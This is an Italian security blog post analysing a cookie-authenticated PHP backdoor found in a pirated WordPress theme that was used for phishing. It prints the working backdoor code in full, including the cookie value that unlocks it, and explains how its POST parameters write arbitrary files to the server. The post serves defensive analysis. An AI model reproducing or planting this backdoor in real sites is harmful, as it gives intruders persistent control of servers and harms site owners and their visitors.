Tema WordPress Warez e Backdoor con autenticazione via Cookie

È ormai una notizia nota che i Temi o i Plugin di WordPress scaricati in maniera illegale, senza corrispondere il corretto compenso allo sviluppatore, contengano spesso Backdoor o Shell nascoste pronte per essere sfruttate per accedere al sito. Nonostante ciò la diffusione di tale materiale è ancora elevata e non mancano certamente gli utilizzatori che pur di risparmiare qualche euro mettano a repentaglio la sicurezza dei propri siti.

La scorsa settimana un sito internet Australiano è stato attaccato e sfruttato per diffondere Phishing ai danni di CartaSi. In collaborazione con il provider abbiamo analizzato il sito web e i relativi LOG per permettergli di contrastare l’accesso abusivo al dominio. Fin da subito abbiamo identificato l’utilizzo di un tema commerciale probabilmente scaricato da siti warez, vista la presenza del file: MafiaShare.net.txt nella directory del tema.

Successivamente analizzando tutti i file che compongono il tema abbiamo rilevato una backdoord nascosta utilizzabile solo a seguito di autenticazione, realizzata attraverso la lettura di Cookie. La backdoor scritta in PHP permette ad un utente malevolo di scrivere nuovi file sulla spazio web con contenuto arbitrario.

Il file in analisi, che vedete nell’immagine di apertura, è così composto:


/*
Plugin Name: [OMESSO]
Description: A plugin that show posts in column, featured image suported. Responsive supported.
Version: 1.0
Author: [OMESSO]
Author URI: http://www.[OMESSO].com/
*/

&lt;?php
$trenz=$_COOKIE['cookie_name'];
$jban1=$_POST["jban1"];
$jban2=$_POST["jban2"];
$wp_editer=$_POST["wp_editer"];
$jban3=$_POST["jban3"];
if ((isset($trenz)) and ($trenz=="mypassword") and (isset($jban1)))
{
$wp_hasher=&nbsp; $wp_editer($jban1,$jban2);
$jban3=stripslashes($jban3);
fwrite ($wp_hasher,$jban3);
}
if ((isset($trenz)) and ($trenz=="test"))
{
echo "Testing";
}
?&gt;

Accedendo al fine senza inviare alcuna richiesta POST apparirà la porzione di testo commentata, poiché non correttamente indentato, che fa presupporre la legittimità del file. Ma realmente il file permette di creare nuovi file dal contenuto ed estensione arbitrarie. Per far ciò è però fondamentale creare un Cookie denominato cookie_name contenente il valore mypassword, il precedente script identifica tale cookie e se presente proseguirà nella lavorazione dei parametri POST passati. Parametri che conterranno il nome del file e il suo contenuto.

Quando si sviluppa un sito Internet in WordPress, ma non solo, è quindi fondamentale utilizzare Temi o Plugin distribuiti dai canali ufficiali acquistando ove necessario le relative licenze.

Potrebbero interessarti